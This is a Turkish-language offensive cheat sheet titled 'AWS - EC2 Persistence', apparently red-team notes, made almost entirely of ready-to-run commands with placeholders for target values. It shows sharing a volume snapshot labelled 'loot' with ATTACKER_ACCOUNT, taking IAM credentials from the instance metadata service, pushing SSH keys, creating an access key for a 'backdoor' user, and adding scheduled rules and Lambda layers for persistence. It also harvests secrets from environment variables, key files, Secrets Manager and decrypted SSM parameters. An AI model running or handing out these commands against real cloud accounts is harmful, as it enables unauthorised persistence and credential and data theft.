Skip to content

AWS - EC2 Persistence

AWS kalıcılık

AWS - EC2 Persistence — AWS ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut erişim kanalını haritala (key, role, webhook, layer).

  2. Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).

  3. Kalıcı kimlik veya tetikleyici yerleştir.

  4. İkinci oturumdan erişimi doğrula.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
aws sts get-caller-identity
Terminal window
aws configure list
Terminal window
echo $AWS_ACCESS_KEY_ID $AWS_SESSION_TOKEN | sed 's/./*/g'

AWS - EC2 Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
aws ec2 create-snapshot --volume-id VOL --description loot
Terminal window
aws ec2 modify-snapshot-attribute --snapshot-id SNAP --attribute createVolumePermission --operation-type add --user-ids ATTACKER_ACCOUNT
Terminal window
aws ec2 create-volume --snapshot-id SNAP --availability-zone AZ
Terminal window
aws ec2 attach-volume --volume-id VOL --instance-id I --device /dev/sdf
Terminal window
aws ssm start-session --target i-INSTANCE
Terminal window
aws ec2-instance-connect send-ssh-public-key --instance-id i-ID --instance-os-user ubuntu --ssh-public-key file://id_rsa.pub
Terminal window
aws ec2 describe-instance-attribute --instance-id i-ID --attribute userData
Terminal window
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds:21600')
Terminal window
curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
Terminal window
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PrivateIpAddress,IamInstanceProfile.Arn]' --output table
Terminal window
aws ec2 describe-security-groups --query 'SecurityGroups[].[GroupId,GroupName]' --output table
Terminal window
aws ec2 describe-snapshots --owner-ids self --query 'Snapshots[].SnapshotId'

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
aws iam create-access-key --user-name backdoor
Terminal window
aws lambda update-function-configuration --function-name FN --layers LAYER_ARN
Terminal window
aws events put-rule --name persist --schedule-expression 'rate(6 hours)'

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
aws secretsmanager list-secrets
Terminal window
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt